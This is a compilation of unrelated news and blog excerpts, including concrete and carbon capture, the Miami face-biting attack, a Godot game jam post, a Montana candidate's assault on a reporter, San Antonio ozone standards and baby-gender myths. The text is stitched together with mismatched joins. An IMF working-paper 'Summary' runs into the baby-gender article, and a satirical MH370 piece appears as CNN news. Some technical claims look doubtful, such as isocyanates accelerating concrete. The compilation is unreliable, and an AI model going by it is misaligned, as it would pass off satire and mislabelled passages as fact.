In his mixes, Dr. MacDonald replaced much of the Portland cement with two industrial waste products — fly ash, left over from burning coal in power plants, and blast-furnace slag. Both are what are called pozzolans, reactive materials that help make the concrete stronger. Because the CO2 emissions associated with them are accounted for in electricity generation and steel making, they also help reduce the concrete’s carbon footprint. Some engineers and scientists are going further, with the goal of developing concrete that can capture and permanently sequester CO2 from power plants or other sources, so it cannot contribute to the warming of the planet.
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Given the numbers, the possibilities for carbon sequestration are enormous. The United States concrete industry’s big annual trade show, held in Las Vegas each winter, is called World of Concrete, and for good reason. Concrete is made and used just about everywhere, with China responsible for half the world’s production.
In the making of concrete, the Portland cement and water form a paste in which a series of reactions occur, hardening the paste and locking the aggregates within it. Those reactions use up the water — concrete doesn’t “dry out” through evaporation — and produce heat. They also make the product caustic. While most of the strengthening occurs in the first few days and weeks, the process can continue for years, as long as there is a little moisture around.
Michelle L. Wilson, director of concrete knowledge for the Portland Cement Association, a trade group, described a hydrating cement particle this way: “It’s not a piece of popcorn, it’s not popping from the inside out. It’s more like a jawbreaker — as the water hits it, the hydration is in layers from the outside in. You can continue to hydrate that jawbreaker down.”
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Just as a dose of brandy or other extra ingredient can improve a fruitcake, concrete can be modified by adding other materials and chemicals. The recipes have become much more sophisticated, said Jay Shilstone, a concrete consultant in Plano, Tex.
“It used to be that the chemicals added to concrete were soaps or sugars — very simple,” Mr. Shilstone said. “Now we’re doing designer chemicals to work on specific components.”
Some chemicals make wet concrete flow better into a form’s nooks and crannies without separating. Others prevent the cement particles from flocking together, so the amount of water can be reduced — which means that less cement is needed as well. Chemicals can be added to slow the reactions to give contractors more time to work with the wet concrete. Isocyanates and other catalysts can speed the reactions up, if the concrete needs to reach a certain strength in a short time.
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Increasingly engineers are also paying attention to the internal structure of the concrete to improve strength and reduce permeability. “There’s been a major push to look at the particle size distribution,” Mr. Shilstone said.
Although powdery, on a microscopic scale cement actually consists of relatively large grains. So researchers are looking at even smaller particles, “microproducts that can go in and do magical things with the cement matrix,” Mr. Shilstone said.
Dr. MacDonald added a small percentage of silica fume, another industrial waste material, to the mix for the bridge’s box girders, to make the concrete more impermeable to road salt, which corrodes rebar, eventually destroying concrete from within.
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One large cement producer, the Italcementi Group, adds titanium dioxide particles to one of its products. The cement makes the concrete white by acting as a catalyst under sunlight to break down organic pollutants in the air. “It speeds up the natural oxidation process,” said Dan Schaffer, a product manager for an Italcementi subsidiary, Essroc, which supplied the cement for the I-35W bridge sculptures.
Some researchers want to eventually eliminate Portland cement entirely and replace it with other cements to produce zero-carbon, or even carbon-negative, concrete.
Portland cement is at the heart of concrete’s environmental problems. About a ton of CO2 is emitted for every ton of cement produced. The basic manufacturing process involves burning limestone and other minerals at about 2,700 degrees Fahrenheit to create an intermediate product called clinker.
“Essentially, we’re trying to make the same minerals that they did in 1825,” said Mr. Stehly, who is head of a committee addressing sustainability issues at the American Concrete Institute.
The cement industry, particularly in the United States and Europe, has reduced CO2 emissions through the use of more efficient kilns and processes, and is now allowed to add some ground unburned limestone to the clinker, reducing the actual cement in the mix. But about half of the CO2 from cement cannot be eliminated — it is produced in the reaction, called calcination, that occurs as the limestone (which consists of calcium carbonate) is being burned.
So to reduce concrete’s carbon footprint to near zero or less, different approaches are needed. Novacem, a British startup, is developing a cement that does not use carbonates and can make concrete that absorbs carbon dioxide. Carbon Sense Solutions, in Halifax, Nova Scotia, wants to bubble CO2 through wet cement, sequestering the gas through carbonation (a process that occurs naturally, though very slowly, under normal conditions).
At a site adjacent to a gas-fired electricity generation plant in Moss Landing, Calif., the Calera Corporation is developing a process to bubble power plant flue gases through seawater or other brackish water, using the CO2 in the gases to precipitate carbonate minerals for use as cement or aggregates in concrete. The process mimics, to some extent, what corals and other calcifying marine organisms do.
Calera calculates that producing a ton of these minerals consumes half a ton of CO2, so the resulting concrete could potentially be carbon negative — sequestering carbon dioxide permanently.
Brent R. Constantz, the company’s founder, has a background in cements, having made specialty products for use in orthopedic surgery. But he does not describe Calera as a cement company. “We’re primarily driven by the need to capture large amounts of CO2 and sequester it,” he said.
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Madonna will take part in next week's Women's March on Washington, the pop icon revealed on Thursday.
Madge made the announcement by posting an image to social media of a woman revealing her pubic hair shaved in the shape of the Nike swoosh. "Yasssssssss! Just Do it!" she wrote, tagging the racy Los Angeles-based magazine Nakid.
The photo was shot by Marius Sperlich and will appear in Nakid's next issue, the magazine teased on Instagram. It's unclear whether the picture is of Madonna or not.
The Women's March on Washington in support of women's rights coincides with Donald Trump's presidential inauguration next Friday, taking place the following day, Saturday, Jan. 21. Katy Perry, Cher and Zendaya are among the other celebrities who have announced they will be participating.
A senior law enforcement official told CBS the book was found with several pages torn out at the scene of the grisly attack on Miami's busy MacArthur Causeway.
The station also reports that preliminary toxicology reports indicate Eugene was smoking marijuana in the hours before the gruesome assault on May 26, though full test results won't be known for up to two months. Police believe Eugene was likely under the influence of a drug -- possibly "bath salts" -- the ill effects of which prompted the horrifying attack.
Eugene, 31, was shot dead by a Miami Police officer who found him on the MacArthur's westbound Downtown off-ramp, savagely chewing off the face of 65-year-old Ronald Poppo in broad daylight. Surveillance video from the nearby Miami Herald building suggests Eugene came upon Poppo by chance after walking over the causeway from South Beach, where his car had broken down.
Footage shows a naked Eugene striking Poppo, attempting to rip off his clothes, and attacking him for nearly 18 minutes before police arrived, prompted by 911 calls from passing motorists and bicyclists.
Though previously released 911 calls reported two men fighting, the first two calls, released Tuesday by Miami Police, reported only a naked man on the causeway. Though circumstances were unusual, the calls gave no indication the incident would end in one of the goriest crime scenes some officers had ever seen.
"There's a tall, African-American man completely naked on one of the light poles, acting like Tarzan," said a 911 caller at 1:53 p.m., after being routed to the Florida Highway Patrol. "All his clothes are on the highway."
A minute later, a second caller reported Eugene was "naked as a jaybird" by the roadway. The Herald's cameras picked up Eugene at 1:55 p.m., though the paper notes their clock may not be synced with those at the emergency call center. His attack on Poppo would last roughly the next 18 minutes, which puts the end of Eugene's life about 20 minutes after the first 911 call.
Audio shows that first call was routed to the Florida Highway Patrol, which according to the Miami Herald was in the middle of a shift change. FHP spokesman Joe Sanchez said that when a trooper headed to the scene, a police officer had already been dispatched at 2:06 p.m.
Miami Police spokesman Det. William Moreno told the Herald the department's response time was "not out of the norm. Very average."
Friends and family had previously described Eugene as "fine man" who carried his Bible everywhere loved quoting scripture. Police records show he was also a repeat offender who once threatened to kill his mother while smashing up her home.
GitHub has announced the 5th edition of its Game Off game jam, hosted on itch.io from November 1st to December 1st 2017.
The main feature of Game Off is its focus on free and open source tools for game development, and this is obviously something that we consider highly in the Godot Engine community, as a fully libre 2D and 3D game engine.
We encourage all existing and aspiring game developers to participate in this jam using our current stable release Godot 2.1.4. For newcomers, this blog post lists some of the great learning resources created by the community to help you get started with Godot.
This is also a great opportunity to discover new FOSS tools such as Blender, Krita, Inkscape, GIMP, Audacity, LMMS... or any of the hundreds of libre tools listed on awesome-gamedev.
Feel free to experiment with other games engines or frameworks too, such as Phaser, LibGDX or LÖVE, but of course we are hoping to see a high percentage of the Game Off entries made with Godot!
When you share screenshots or videos of your game on social media, please use the #GitHubGameOff hashtag as well as #GodotEngine, to show the community what great projects are being worked on!
Kudos to the first Godot user publishing an open source shader to achieve such an effect on our Asset Library :)
Getting started with Godot
If you're new to Godot, or started only recently, you might be looking for good resources to learn how to make games with our engine. The following is a short list of recommended resources, but feel free to use different ones from the wealth of video tutorials and demos that have been produced by the Godot community over the years.
Official documentation
The main resource is Godot's official documentation.
It contains many tutorials about the different features of the engine, including a step by step tutorial which should give you a good introduction to the core concepts of the engine such as nodes, scenes, instancing and scripting.
The official documentation also includes the Class Reference, where the API of the various nodes is documented. It's also included directly in the editor when you press the "Classes" and "Search Help" buttons in the script editor.
Community tutorials
Community members have produced a great number of video tutorials for Godot 2.1, as well as quite a few text-based tutorials for those who prefer that. Some are standalone tutorials about a given feature or concept, while others are series that will lead you through making a simple game from A to Z. Here's a selection:
KidsCanCode's Godot 101 is a Godot learner's favorite and will teach you all the concepts you need to know to get started in about 3 hours of video content. Don't be fooled by Chris' tutor name, the series is a great fit for kids but also very suitable for grown-ups... and among game devs, we're all still children at heart, aren't we? :)
Angega Studio's Make a Space Shooter Game is another series that will learn you through the conception of a 2D space shooter from start to finish, in about 2 hours of video content.
GDquest's 30 Tutorials in 30 Days series offers short and well-edited tutorials that will introduce you to a given feature. It's perfect for users with some development experience either from Godot or from another engine, and that want to quickly learn how to do something specific.
GameFromScratch's Godot tutorial series offers both video and text versions of great tutorials covering many aspects of the engine. The earlier ones were for Godot 1.x, but the concept they cover are still the same in today's 2.1.x, it's mostly the UI that was enhanced a bit.
Official demos and community projects
There are many official demos included in this archive, such as a simple Pong game, 2D and 3D platformers, a space shooter, and many small demos meant to showcase how to use a given feature, such as particles, screen space shaders, lights, navigation meshes, etc.
Next to those, there are many free and open source community projects that you can learn from, such as those made for our previous Godot community game jams (first, second and third). You can use GitHub's Explore feature to find repositories tagged with Godot, or GDScript, or search for trending GDScript projects.
Community communication platforms
And of course you are not alone to learn how to use Godot! We have many community platforms where you can discuss with other users and learn from them. You can pick the one(s) you like best and should always find nice users to interact with.
Don't miss the Godot Questions & Answers, which likely already has answers for some of the questions you might be asking yourselves. If not, don't hesitate to ask your question, being both concise and specific, and you should quickly get some help.
Finally, if you think that you hit a bug in the engine, please report it on GitHub. Make sure to follow the proposed issue template (filled in automatically) to help us help you.
Can I use Godot 3.0?
Yes and no :)
You might have seen videos about Godot 3.0's upcoming features, and be eager to test it, but it is not yet released officially. We will soon (a couple days at most) release a development snapshot, Godot 3.0 alpha 2, which you can use if you want, but you should be ready to face bugs and difficulties exporting games (for example exporting games using C# is not possible at this time, and should be fixed in the coming weeks).
If you feel adventurous, don't hesitate and have fun with the development snapshot, but check beforehand that you'll be able to distribute your game in a playable manner for the jam. If you are new to Godot, we really recommend to stick to the stable version for which you will find a lot more learning resources.
But Michael Moore, also know as Stitchmond, believes cross stitch is making a comeback.
Cross stitching is an art form which dates as far as the 6th century. It has been passed down from great grandmothers to grandmothers for generations until its popularity began to decline with the rise of the digital age.
But Michael Moore, also know as Stitchmond, believes cross stitch is making a comeback.
I forgot I finished this the other day. #pokemon #gymbadges #crossstitch #theverybest A photo posted by Michael (@stitchmond) on May 18, 2016 at 12:50pm PDT
Moore’s interest in art started with a specific piece of artwork in mind that he wanted to recreate – a video game-themed neck tie. Moore tried his hand at many different art mediums but was unsatisfied with the outcomes. Until his mother gave him some of her old cross stitching supplies. This was around 2010, and from there his love of the ancient craft grew.
Moore was able to teach himself cross stitch and finally found his niche, often thinking back to a time when he would watch his mother cross stitch as a child. In keeping with his original inspiration, most of his work is inspired by video game characters from classic games like Final Fantasy, Mega Man and Kirby’s Big Adventure.
#gitgud #darksouls #crossstitch bonfire pattern by kandipatterns.com A photo posted by Michael (@stitchmond) on May 8, 2016 at 12:14pm PDT
Moore admits the mixing of old mediums with new themes isn’t his invention, rather he’s inspired by other cross stitchers like Julie Jackson who created the sarcastic and often adult-themed Subversive Cross Stitch. Jackson has found success with her modern twist to the age old art, mixing traditional designs with song lyrics and modern sayings grandma might not approve of. And Moore hopes to emulate that success.
Moore creates most of his own patterns by importing images into computer software called PCStitch, where he is then able to assign different pixels colors to create a cross stitch friendly guide.
He sells his original patterns in his Etsy shop and, upon request, does fill custom orders. Some of his finished work is for sale at Bits and Pixels in Carytown.
This might be the cutest thing I've ever cross stitched. A photo posted by Michael (@stitchmond) on Nov 24, 2014 at 9:15pm PST
With about half a decade under his belt, Moore hopes to put his talents to the test by competing in the Virginia State Fair’s Arts and Crafts competition for counted cross stitch.
Moore moved to Richmond in 2007 from the small town of Marion, Ohio for an internship at the Virginia Museum of Fine Arts, where he still is employed.
I made patterns for all the #overwatch heroes. Here's #dva @blizzard_fans #crossstitch A photo posted by Michael (@stitchmond) on Jun 4, 2016 at 8:16am PDT
You can find Stitchmond by his etsy shop or his instagram account.
Kuala Lumpur, Malaysia (CNN) — Malaysia Airlines Flight 370 went down in the southern Indian Ocean, Malaysian Prime Minister Najib Razak said Monday, citing a new analysis of satellite data by a British satellite company and accident investigators.
To the surprise of many, authorities were able to determine the location of the crash without listening to the crackpot conspiracy theories of your jackass friends on Facebook.
“Ultimately, we were looking in the wrong place. Once we heard that Beverly Wilson of Clearwater, Florida had heard that some large pieces of debris had been spotted in Australia, we immediately abandoned our search along all probable flight paths,” said the Prime Minister.
When pressed for details about the qualifications of Ms. Wilson, Mr. Razak said he had never met the woman and his son may have added her as a friend when he was using his account.
Even The United States Government seemed perplexed by the announcement.
“It’s a mystery,” said Demetri Popadopolous, President Obama’s special envoy to Malaysia, during the crisis, “How that plane broke up over the water when Stephen O’Connell, my cousin’s friend I met once at his wedding insisted that terrorists had hijacked it and landed it on a secret island airbase is anyone’s guess.”
“We’re not entirely 100% that this is what really happened,” cautioned President Obama. “Lest we forget that time Charles Widmore arranged to have an identical airplane loaded with corpses deliberately sunken in a different place to throw people off the real location of the Island,” citing the once-popular television program, Lost.
During Trump's meeting with Sergey Kislyak, Russia's ambassador to the U.S., and Sergey Lavrov, Russia's foreign minister, American press outlets weren't granted access to the event, while Russia's official news agency, TASS, was invited to join and photograph the talks. Instead of being part of the conversation, U.S. reporters were sent to an unannounced meeting for Trump, this time with former Secretary of State Henry Kissinger, who most notably served under President Richard Nixon.
Security experts brought up the problems with allowing Russian photographers into the White House, especially given the accusations that Russian officials interfered in the U.S. presidential election and colluded with the Trump campaign, not to mention the fact that the Trump administration has reportedly been lax on security protocols in the past. (Back in February, for instance, there were concerns from the public and security officials alike over the fact that Trump's team looked at documents with potentially sensitive information with camera phone flashlights at his Mar-a-Lago resort in plain view of civilians.) Colin Kahl, former national security adviser to vice president Joe Biden, tweeted to ask whether it was a "good idea" to allow Russian photographers into the White House with their equipment, given all of the previous controversy and lack of concern for security protocols.
There's also reports that suggest Trump officials were under the impression that there would be no photographs released to the public by either government. On Thursday morning, CNN's senior White House correspondent, Jim Acosta, tweeted that a White House official had told him that the Russians had lied about releasing photographs after the images were published on the Russian foreign minister's public Flickr page, and the Russia Embassy in the U.S. tweeted a photo from the meeting.
In terms of the content of the meeting itself, the White House released an official statement claiming that the officials discussed ongoing conflict in Syria, Ukraine, and the Middle East at large. "President Donald J. Trump met today with Foreign Minister Sergey Lavrov of Russia, following on the visit of Secretary of State Rex Tillerson to Moscow last month," it read. "President Trump emphasized the need to work together to end the conflict in Syria, in particular, underscoring the need for Russia to rein in the Assad regime, Iran, and Iranian proxies. The President raised Ukraine, and expressed his Administration’s commitment to remain engaged in resolving the conflict and stressed Russia’s responsibility to fully implement the Minsk agreements. He also raised the possibility of broader cooperation on resolving conflicts in the Middle East and elsewhere. The President further emphasized his desire to build a better relationship between the United States and Russia."
Related: The Only Released Photos of Trump's Meeting With Russian Officials Are From Russian Sources
A smartphone designed for handling top secret communications has been developed by Boeing.
If the phone is tampered with, it automatically deletes any data and renders itself inoperable.
Better known for its aeroplanes, the firm said it needed to help organisations get "trusted access to data to accomplish their missions".
The device, named Black, joins a growing range of high-security smartphones entering the market.
At the Mobile World Congress in Barcelona, a similarly-titled Blackphone was announced, aimed more at businesses and consumers worried about private data.
Boeing already provides secure communications for US government officials - including the president.
Expandable
Boeing's Black is not intended for mainstream use - and does not yet have a price or release date.
The device took 36 months to produce, the company said, and has drawn on expertise from recent acquisitions of companies specialising in mobile technologies.
Product specifications posted on Boeing's website state that the device contains two SIM cards to allow switching between government and commercial networks.
The smartphone runs a heavily-customised version of Google's Android operating system and Boeing has added its own branded security apps.
But where Black goes beyond typical mobile security is in physical enhancements to the hardware itself.
"There are no serviceable parts on Boeing's Black phone and any attempted servicing or replacing of parts would destroy the product," the company explained in documents sent to the Federal Communications Commission.
"The Boeing Black phone is manufactured as a sealed device both with [extremely strong glue] epoxy around the casing and with screws, the heads of which are covered with tamper-proof covering to identify attempted disassembly.
"Any attempt to break open the casing of the device would trigger functions that would delete the data and software contained within the device and make the device inoperable."
On its official website, the council explained its decision to issue the fatwa (religious edict) by stating that Halloween is a Christian celebration which has its roots in All Hallow’s Eve, a night in which pagan Celtic communities in Ireland and Britain pay homage to their dead, and honour the souls of saints.
The council adds that Halloween in its modern form also places emphasis on images and depictions of the devil, sorcerers, ghosts and mythological creatures, all couched in lighthearted and humourous themes.
The edict further states that it defines Halloween as being celebrated by dressing up in costume, children going from house to house trick or treating, lighting bonfires, visiting haunted houses, playing pranks on friends and neighbours, and relating scary stories.
Against the Colts in Week 2, Ray scooped up the forced fumble by Von Miller and ran it 15 yards for a game-sealing win in the final minute.
In his first career NFL start last week against the Bengals, Ray followed up with three sacks on Andy Dalton.
His performance was the first since 2002 that a player getting his first career start had three sacks in one game. And it was also the first time in Broncos history that two players had three sacks in back-to-back games. ICYMI, Miller got the triple last week against the Colts.
@StingRay56 is beasting out there. #77 Whitworth was an All Pro last year! #broncos pic.twitter.com/mvDJmdR7hZ — Mitz Sumilang (@MitzSumilang) September 27, 2016
Speaking to Les Shapiro and Eric Goodman on Monday, Ray told the Afternoon Drive guys that he couldn’t predict three sacks, but he was definitely ready with his first start to show the world he truly is elite.
"I don’t ever put a limit on myself. Everybody has been saying ‘Oh, D-Ware is down, what is Shane going to do? Is he going to step up?’" Ray said, adding he’s always been confident in his ability. "I just knew my team could depend on me so I went out and did what I’ve been saying I could do. I just had the opportunity now."
Ray added that he’s been compared to greats ever since he was drafted, and expectations have always been high. But dropping in the draft due to a marijuana infraction put him on a different path than he originally planned. Instead of going to a lesser team and starting right away, he was brought in to the Broncos, behind one already pass-rushing legend (DeMarcus Ware) and another one in the making (Von Miller),
"I was brought here and my role is different. I was able to mature and now I’m showing everybody what I always said I could do. I’m an elite player, and I’m going to prove it. Not even to show everybody else but to do what I know I could do." - Shane Ray
Ray’s sacks were an impressive display of pursuit and power, and that’s exactly what Ray was used to in college.
"A lot of my tackles are me coming free and chasing a guy down the field to get in on a tackle, things that if you’re just chilling, you wouldn’t make those plays," Ray said, calling his sacks "just a lot of good effort."
Especially on his second sack, Ray’s first move didn’t work, so he jumped in and then back out to chase down Dalton. "It was me being me."
And that’s exactly who Miller and Ware have been cultivating.
"That's how Shane is supposed to play," Miller said after the win. "That's what we've been waiting for. That's Shane Ray. That's what we brought him in to be, and it feels good to go out there and see him do it. I'm proud of him."
Von Miller 5 sacks, Shane Ray 3 sacks, DeMarcus Ware 2 sacks. I'm liking the #Broncos outside pass rush through three games. — MileHighReport (@MileHighReport) September 28, 2016
Ray, who is starting in place of an injured DeMarcus Ware, says the challenge of playing a quarterback who has been throwing 400-yard or 300-yard games is just what this defense wants.
"If you want to come and throw 300 yards on us, please come and try," Ray said. "I just don’t see quarterbacks dropping eight yards back and sitting in the pocket against us. If you do that, that’s where we’ve shown that we’re the best."
But if it plays out like that in Tampa this weekend where Jameis Winston has been forced to throw 45-plus times a game, Ray and his teammates won’t complain.
"That’s exactly what we want. Our offense doing their job, helping us out, giving us opportunities to do what we do. We want guys to have to pass on us, because our secondary is second to none, our pass rush is elite, and we can get to the QB and make plays."
And they’re the best because they have so many guys who can do it. As much as Ray may covet taking the spotlight from Miller once again, the young edge rusher isn’t worried about that. His goal is to keep showing people that he is an elite player, not just one week, but every week.
The incident apparently occurred after Jacobs, a reporter for The Guardian, asked GOP candidate Greg Gianforte about the Congressional Budget Office’s newly released appraisal of House Republicans’ health care bill.
A rustling noise could be heard on an audio recording of the incident, after which Gianforte apparently told Jacobs, “I’m a sick and tired of you guys.” He added: “Get the hell out of here.”
“You just body slammed me and broke my glasses,” Jacobs said, sounding stunned.
Greg Gianforte just body slammed me and broke my glasses — Ben Jacobs (@Bencjacobs) May 24, 2017
There was a local TV crew there when Gianforte body slammed me. Audio is posting soon at @GuardianUS — Ben Jacobs (@Bencjacobs) May 24, 2017
“He took me to the ground,” Jacobs told The Guardian, which reported that he was speaking from the back of an ambulance. “This is the strangest thing that has ever happened to me in reporting on politics.”
The paper reported that Jacobs alerted the authorities to the incident. The Gallatin County Sheriff’s Office said it was “currently investigating allegations of an assault,” according to Politico.
Gallatin County Sheriff's Office now updates: "currently investigating allegations of an assault involving Greg Gianforte." — Gabriel Debenedetti (@gdebenedetti) May 25, 2017
The Gianforte campaign said Jacobs asked “badgering questions” and interrupted a separate interview.
“After asking Jacobs to lower the recorder, Jacobs declined. Greg then attempted to grab the phone that was pushed in his face. Jacobs grabbed Greg’s wrist, and spun away from Greg, pushing them both to the ground. It’s unfortunate that this aggressive behavior from a liberal journalist created this scene at our campaign volunteer BBQ,” Gianforte spokesman Shane Scanlon said in a statement, according to Politico.
President Donald Trump and Vice President Mike Pence have thrown their support behind Gianforte, recording robocalls for the GOP candidate.
CTV Ottawa
The Ottawa train station will soon get a major makeover to celebrate its 50th anniversary.
Renovations totalling an estimated $20 million will begin on the train station starting in September 2016. The money will be used to build an elevated and heated passenger platform, new elevators to the tunnel and boarding platforms, a new electrical room and an upgraded electrical system. In addition, two new afternoon trips in the Ottawa-Toronto corridor are being added as of November 1st.
“Railways in this country have a long history of providing service to Canadians and the Ottawa Station helps to continue this tradition for the National Capital Region’’, said Member of Parliament David McGuinty in a press release.
VIA Rail said these renovations follow a series of upgrades that began in 2007.
"Once the renovations are complete, our facilities will be more accessible and mobility within the station as well as boarding and disembarking from our trains will be easier for everyone," said Yves Desjardins-Siciliano, President and Chief Executive Officer of VIA Rail.
"The Ottawa train station is at the heart of our future dedicated tracks project, which will draw more passengers with increased train frequencies, shorter travel times and more convenient and reliable schedules."
The Environmental Protection Agency (EPA) announced its new 70 parts per billion (ppb) national standard to limit smog-forming pollution on Thursday. The new standard is a drop from the current standard of 75 ppb but at the high end of a range that the EPA laid out last fall.
San Antonio, officially, has been the only large U.S. city with a clean record of regarding the federal Clean Air Act. Unofficially, San Antonio has been out of compliance with the previous standard of 75 ppb for three years.
If the EPA finds an average ozone reading higher than the new standard, the federal government could tag the City with a non-attainment designation, which could result in air quality regulations that would require expensive limitations and retrofits on San Antonio’s biggest emitters of ground-level ozone. For example, pollution-control equipment likely would be required on cars, chemical plants, manufacturing facilities, and more. San Antonio faced a similar challenge in the late 1990s and early 2000s.
Three City Council members, Bexar County Judge Nelson Wolff, and other concerned citizens, gathered at City Hall to push for a meeting of minds to help reduce pollutants that affect public health. Local officials acknowledge that solutions will not come overnight, but can help lessen the impact on the local economy.
“The time for action is now,” said Peter Bella, speaking for the environmental advocacy group Texas for Responsible Energy Development. For years, Bella was the point man working on regional air quality issues for the Alamo Area Council of Governments (AACOG).
“We need to act to reduce public health risks associated with ozone,” Bella added.
City Councilmember Ron Nirenberg (D8) said he considers the EPA announcement good news because it is part of the “pursuit of cleaner air for our children and our grandchildren.” He added that some people, especially in the business community, will be concerned about any regulations they feel could be a detriment to the local economy and, to a greater extent, their way of life.
“Being in non-attainment means a costly implementation plan that could harm the economy. It could raise the cost of doing business,” Nirenberg said. But, he added, there is a bigger problem if air quality remains below standard in San Antonio. Air pollutants can exacerbate asthma, bronchitis and other respiratory problems, leading to sickness at home or even hospitalization, according to the EPA.
This means adults missing work and children missing school, Nirenberg said.
Krystal Henagan, Texas field organizer for the group Moms Clean Air Force, said the American Lung Association recently estimated that there are more than 40,000 children and 70,000 adults in the county living with ozone-caused breathing problems. Dr. Vince Fonseca, a former state epidemiologist, said he often sees in his pharmacy the effects of ozone on people’s breathing.
“It isn’t just a health issue, it’s a community issue. It’s about the future of San Antonio,” Nirenberg said.
County Judge Wolff said it will take a lot of work but is confident the San Antonio region can attain the 70 ppb level. It could take two to three years for the federal government to determine whether the San Antonio area is officially non-compliant, but stakeholders can do something in the meantime to try and prevent that designation from happening.
Wolff called for greater emphasis on alternative fuels and alternative forms of transit. He expressed disappointment in City and County leaders last year for shutting down a plan for a downtown-area streetcar system.
But Wolff said he supports commuter rail, which the Lone Star Rail District hopes to realize, and ridesharing services such as Uber and Lyft. He also wants to see the B-Cycle program grow from downtown to countywide use. Additionally, CPS Energy is “headed in the right direction” with a greater concentration on energy conservation and alternative energy sources, Wolff said.
Increasing the housing stock in and around downtown further reduces reliance on transportation, and encourages more walking, biking and usage of mass transit in short distances, he said. Monitoring the flaring and venting in the Eagle Ford shale area remains important, as well.
“Some of the programs we’ll look at will be critical to getting to the 70 standard,” Wolff said.
Councilmember Nirenberg applauded Councilmember Ray Lopez (D6) and the City’s Office of Sustainability for having led the way on some measures to improve local air quality. He included examples such as a traffic signal system modernization program, energy-efficient projects at City facilities, and citywide anti-idling regulations.
Councilmember Nirenberg added that the AACOG Air Improvement Resources (AIR) Executive Committee agreed on an accord that will promote cooperation among regional partners, including the business community.
According to Nirenberg, Austin-area officials estimate a non-attainment designation for their region could cost their economy up to $41 billion over a 30-year period. No such official economic analysis for the San Antonio area exists, but Peter Bella said the Texas Commission for Environmental Quality can help fund such a study and discuss possible specific solutions. Nirenberg expects the entire Council to consider an action plan in the near future.
“We are celebrating a milestone but we have a long ways to achieve where we need to be” with air quality, said Councilmember Lopez. He added that everybody basically recognizes the importance and benefits of ensuring a good environment and everyone can do their part. CPS Energy’s plan to shut its two-unit, 871-megawatt JT Deely coal station by 2018 is one such way towards improving local air quality, Lopez said, “the consequences of not doing so are too severe.”
He and Councilmember Shirley Gonzales (D5) agreed that business and public entities, as well as individuals, can make a difference with air quality in their own ways.
“To be successful, we all will have to have an aggressive plan moving forward,” Lopez said.
Councilmember Gonzales said a newly launched initiative, Vision Zero, which calls for zero traffic fatalities, can help to improve local air quality by promoting use of mass transit and other forms of transportation.
“This (EPA announcement) is unfortunate news in that it forces us to make drastic changes,” said Gonzales. “Now is the time to make right for our citizens. We must challenge other officials and people about how we get around.”
*Top image: Downtown San Antonio on a particularly smoggy day. Technically “smog” is ground level ozone. Photo courtesy of SA Clean Technology Forum.
Related Stories:
Ozone: A Problem San Antonio Can No Longer Afford to Ignore
CPS Energy Confident in Compliance with New Carbon Emission Rule
Air Quality Poses Challenges and Opportunities for San Antonio’s New Mayor
Author/Editor:
Ezequiel Cabezon ; Leni Hunter ; Patrizia Tumbarello ; Kazuaki Washimi ; Yiqun Wu
Publication Date:
June 19, 2015
Electronic Access:
Free Full Text. Use the free Adobe Acrobat Reader to view this PDF file
Disclaimer: This Working Paper should not be reported as representing the views of the IMF.The views expressed in this Working Paper are those of the author(s) and do not necessarily represent those of the IMF or IMF policy. Working Papers describe research in progress by the author(s) and are published to elicit comments and to further debate
Summary:
Here are five common myths about how to predict your baby’s gender, thoroughly debunked and two really weird peculiar old methods that, surprisingly, may actually have a basis in science.
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Girls Have Higher Fetal Heart Rates
Even before your first ultrasound, your doctor will likely use a doppler heart monitor to measure your baby’s heart rate. If all is well, the heart rate should fall between 120 and 160 beats per minute. But ask around, and you’ll find that many people believe a heart rate closer to 160 means you’re going to have a girl, while a heart rate closer to 120 means you’re having a boy.
In 2006, intrepid scientists at Wright State University in Ohio examined nearly 1,000 sonograms from women in their first trimesters and second trimesters. Later, when the babies were born, they analyzed the average heart rate for boys versus girls and found that baby boys had an average heart rate of 154.9 beats per minute while baby girls clocked in at 151.7. Given that both averages were “plus or minus 22”, the authors concluded that there was no correlation.
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Pee Into Draino To Predict Your Baby’s Gender
This is a weird one, but it’s been on scientists’ radars since at least 1982 when Dr. Robert M. Fowler, a physician at the University of Wyoming, tested whether women can predict their babies’ genders by having subjects pee into Draino. You can almost hear the exasperation in his voice: “During the past several years, we have been asked frequently to do the ‘Drano test’ to determine the sex of an unborn baby…Reportedly, the color green indicates a male baby, and yellow to amber indicates a female.”
In a way, aren’t we all Dr. Robert M. Fowler?
He had 100 pregnant women pee into a test tube of Draino and found no correlation between urine color and the gender of the fetus. Twenty-one of the urine samples didn’t even turn Draino one color consistently. And just in case Fowler’s work (and common sense) was insufficient to debunk this myth, Canadian scientists replicated the study in 1999, this time even more robustly: “Some health care professionals and patients believe that green indicates the fetus is male and brown indicates the fetus is female others, however, believe the opposite to be true,” they write. “Given the conflicting views, we examined both theories.”
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They arrived at a new theory: Draino should be used in drains.
The Chinese Lunar Calendar Knows Best
Derived from the I Ching and reportedly kept secret for hundreds of years by a cabal of eunuchs, Chinese royalty is thought to have used a complex lunar prediction chart to ensure that the monarchy was always well stocked with baby boys. Now we have it. Does it work?
Not quite. The same Canadian researchers who convinced more women to pee in Draino for science also took the time to enter their participants’ birthdays and months of conception into the Chinese lunar calendar chart. They found that “the positive predictive values calculated for the Chinese calendar data were 50 percent.” In other words, the Chinese charts were about as accurate as flipping a coin—though coins were not historically hidden by eunuchs.
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If Your Belly Looks Likes A Basketball, It’s A Boy…
Less occult than the I Ching but no less steeped in myth, there’s the idea that you can predict a baby’s gender by examining how the mother is carrying—whether her baby is all in front, like a basketball tucked under her maternity mumu, or evenly distributed around her hips. When scientists got around to debunking this one, the first problem was that nobody could even agree on what the myth claimed.
“There was a confusion in the sample as to which shape was associated with which sex,” researchers wrote. “Forty percent of women who rated themselves as carrying ‘all up front’ predicted they were having a girl; 57 percent predicted a boy.”
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Not that it really matters. There’s no known relationship between either shape and baby gender.
Remember What You Ate Last Night? How About That Night?
This one might be tricky for exhausted parents who can’t remember what they ate for breakfast, but folklore and even some preliminary studies claim you can influence the gender of your baby even before you conceive by controlling your diet—boys, the myth goes, are born to mothers who eat the heartiest meals before getting it on. But a systematic review of the (surprisingly numerous) studies on the subject concluded that “this claim is pseudoscientific.”
Rough Pregnancy And Labor Can Predict Gender (Maybe!)
Women with severe morning sickness known as hyperemsis gravidarum may be more likely to have girls than boys. Scientists suspect this is because levels of the hormone hCG tend to be higher in mothers expecting girls and also trigger morning sickness. Other studies have called this link between morning sickness and baby girls into question, but it seems plausible.
